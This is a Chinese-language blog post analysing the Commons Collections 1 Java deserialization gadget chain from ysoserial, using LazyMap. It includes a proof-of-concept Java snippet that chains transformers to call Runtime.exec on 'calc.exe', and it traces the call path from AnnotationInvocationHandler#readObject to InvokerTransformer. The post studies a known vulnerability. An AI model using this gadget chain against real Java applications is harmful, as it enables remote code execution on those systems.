[JavaWeb]反序列化分析(三)--CommonCollections1
[JavaWeb]反序列化分析(三)--CommonCollections1
上一篇不是讲了cc1嘛,怎么还分析cc1?其实是因为上篇分析的是基于jdk8u71以前的版本的,jdk8u71后的TransformedMap源码修改了,使用限制较小。下面就来分析ysoserial中采用LazyMap而不是TransformedMap来进行反序列化的利用
首先就来看看LazyMap怎么触发命令执行
TransformedMap触发是因为set,而LazyMap中触发是因为get操作。“懒加载”-找不到键时,利用factory.transform来获取一个值
在这里的factory是可控的,如果把他替换成恶意的Transform对象,就可以进行利用了
public static void main(String[] args) throws IOException {
String cmd = "calc.exe"; //cmd命令
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class}, new String[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = LazyMap.decorate(new HashMap(), chainedTransformer);
map.get("adsas");
}
上述的逻辑很简单,就是当LazyMap使用get找不到时,就会从factory中进行transform,而这里的factory就是chainedTransformer
接下来就要去找哪个类中对Map成员进行了get操作
根据ysoserial找到了AnnotationInvocationHandler#invoke方法
可以看到其中有对Map成员进行get操作
找Invoke方法的触发点--reflect
只要找到成员变量且进行了方法调用,利用ProxyMap,就会触发invoke了
分析
AnnotationInvocationHandler#readObject()
this.memberValues.entrySet()
AnnotationInvocationHandler#invoke()
LazyMap#get()
ChainedTransformer#transform()
ConstantTransformer#tranform()
InvokerTransformer#transform()